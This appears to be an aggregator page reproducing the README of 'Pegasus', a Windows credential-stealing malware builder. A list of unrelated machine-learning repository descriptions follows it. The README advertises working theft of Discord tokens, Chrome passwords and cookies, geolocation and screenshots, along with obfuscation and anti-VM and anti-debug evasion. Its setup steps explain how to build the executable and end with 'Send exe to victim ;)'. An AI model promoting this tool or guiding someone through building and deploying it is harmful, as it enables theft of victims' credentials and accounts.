Pull sensitive data from users on windows including discord tokens and chrome data.

Last update: Dec 31, 2022

Overview

⭐ For a 🍪

Pegasus

Pull sensitive data from users on windows including discord tokens and chrome data.

Features

🟩 Discord tokens
🟩 Geolocation data
🟩 Chrome passwords & cookies
🟩 Screenshot
⬛️ MacOS support
🟨 Injections
🟩 Obfuscation
🟩 Anti VM / Virus Scan / Debug

🟩 = Done/Working | 🟨 = In development | ⬛️ = Todo | 🟥 = Not Working

Prerequisites

Python 3 (Add to PATH)
Git

Setup

Open your cli of choice
Clone the repository with git clone https://github.com/addi00000/pegasus.git
Enter the dirctory with cd pegasus
Install dependencies with pip install -r requirements.txt
Run the builder with python builder.py
Follow instructions in builder and your exe will be in the same directory
Send exe to victim ;)

Errors?

Make an issue
Join the Discord

Owner

Addi

GitHub Repository http://www.addidix.xyz

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Pull sensitive data from users on windows including discord tokens and chrome data.

Related tags

Overview

⭐ For a 🍪

Pegasus

Pull sensitive data from users on windows including discord tokens and chrome data.

Features

🟩 = Done/Working | 🟨 = In development | ⬛️ = Todo | 🟥 = Not Working

Prerequisites

Setup

Errors?

Owner

Addi

Code for the paper "M2m: Imbalanced Classification via Major-to-minor Translation" (CVPR 2020)

Training neural models with structured signals.

Code release for the ICML 2021 paper "PixelTransformer: Sample Conditioned Signal Generation".

A 1.3B text-to-image generation model trained on 14 million image-text pairs

SmallInitEmb - LayerNorm(SmallInit(Embedding)) in a Transformer to improve convergence

Demos of essentia classifiers hosted on replicate.ai

code for our paper "Source Data-absent Unsupervised Domain Adaptation through Hypothesis Transfer and Labeling Transfer"

Differentiable Prompt Makes Pre-trained Language Models Better Few-shot Learners

PyTorch for Semantic Segmentation

Official repository for the paper "Self-Supervised Models are Continual Learners" (CVPR 2022)

Face Transformer for Recognition

Paddle Graph Learning (PGL) is an efficient and flexible graph learning framework based on PaddlePaddle

Source code of SIGIR2021 Paper 'One Chatbot Per Person: Creating Personalized Chatbots based on Implicit Profiles'

Feup-csr - Repository holding my group's submission to the CSR project competition

A highly modular PyTorch framework with a focus on Neural Architecture Search (NAS).

FwordCTF 2021 Infrastructure and Source code of Web/Bash challenges

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SparseML is a libraries for applying sparsification recipes to neural networks with a few lines of code, enabling faster and smaller models

Unity Propagation in Bayesian Networks Handling Inconsistency via Unity Smoothing

Simple reimplemetation experiments about FcaNet